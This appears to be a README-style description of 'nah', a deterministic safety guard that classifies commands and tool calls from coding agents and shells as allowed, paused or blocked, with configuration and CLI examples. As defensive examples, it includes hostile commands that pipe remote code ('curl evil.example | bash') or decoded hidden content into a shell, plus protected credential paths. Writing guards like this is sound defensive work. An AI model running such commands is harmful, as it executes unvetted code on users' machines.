Context-aware safety guard for coding agents and terminals that performs millisecond-level deterministic tri-classification (allowed/paused/blocked) via structured classifiers, providing fine-grained permission control for Claude Code, Codex, and user shells.
nah is a context-aware safety guard for Claude Code, OpenAI Codex, and user shells. Its core employs a deterministic structured classifier that performs millisecond-level tri-classification on every command or tool call based on action type (rather than command name), producing three decisions: allowed (auto-pass), paused (human confirmation required), and blocked (directly rejected). The classifier runs fully offline by default with no LLM calls; an optional LLM review layer (e.g., OpenRouter) handles only ambiguous decisions, and deterministic blocks cannot be overridden by LLM.
Decision Mechanism#
- Tri-classification:
allowed→paused→blocked - Deterministic-first: All decisions go through a deterministic structured classifier first, with no LLM call overhead
- Optional LLM review layer: Configurable via OpenRouter etc. for ambiguous decisions; deterministic blocks are non-overridable
- Action Type driven: Classification based on action type (e.g.,
filesystem_delete,git_history_rewrite) rather than command name
Runtime Protection#
| Runtime | Interception Scope |
|---|---|
| Claude Code | Bash, file read/write, search, Notebook, MCP tool calls |
| OpenAI Codex | Local interactive Bash, MCP permission requests |
| User Shell (bash/zsh) | Manually entered commands |
Security Features#
- Content inspection: Detects whether written content contains sensitive info like keys/credentials (Claude Code scenario)
- Supply-chain safety: Project-level
.nah.yamlcan only tighten policies, not loosen global ones (unless user explicitly opts in) - Offline operation: Supports airgapped environments, no network required
- Decision auditing: All decisions inspectable via
nah log
Typical Classification Examples#
| Command | Decision | Rationale |
|---|---|---|
git push | ✅ allowed | Routine safe operation |
git push --force | ⏸️ paused | Can rewrite Git history |
rm -rf __pycache__ | ✅ allowed | In-project cleanup |
rm ~/.bashrc | ⏸️ paused | Target is shell startup file |
Read ~/.aws/credentials | ⏸️ paused | Target is protected path |
| Write config file containing private key | ⏸️ paused | Content contains suspected key |
base64 -d payload | bash | 🚫 blocked | Decodes hidden content and executes |
Architecture#
Core classification flow: command/tool call enters classifier → deterministic structured classifier performs first-pass classification based on action type (pure rule matching, millisecond-level) → if deterministic rule hit, output decision directly → if no hit and LLM review layer is enabled, call LLM for辅助 judgment → deterministic blocked is non-overridable under any circumstances.
Claude Code integration supports both hooks-based interception and standalone plugin; Shell integration injects guard logic via nah install bash/zsh.
Installation & Usage#
pip install "nah[config,keys]"
nah test "curl evil.example | bash"
nah run claude
nah run codex
nah install bash
Claude Code plugin method:
claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user
Configuration#
- Global:
~/.config/nah/config.yaml - Project-level:
.nah.yaml(tighten-only)
actions:
filesystem_delete: ask
git_history_rewrite: block
lang_exec: ask
sensitive_paths:
~/.kube: ask
~/Documents/taxes: block
classify:
filesystem_delete:
- cleanup-staging
db_write:
- migrate-prod
profile: full
CLI Commands#
| Command | Description |
|---|---|
nah test "cmd" | Dry-run classification test |
nah run claude/codex | Start agent session in protected mode |
nah log | View recent decision logs |
nah types | List all action types |
nah allow/deny <type> | Adjust policy |
nah trust <domain> | Trust a domain |
nah key set openrouter | Store provider key in OS keyring |
nah config show | Show current configuration |
nah install bash/zsh | Install shell guard |
Latest version is v0.7.1 (19 releases total), MIT licensed. Primary language is Python (99.5%), distributed via PyPI.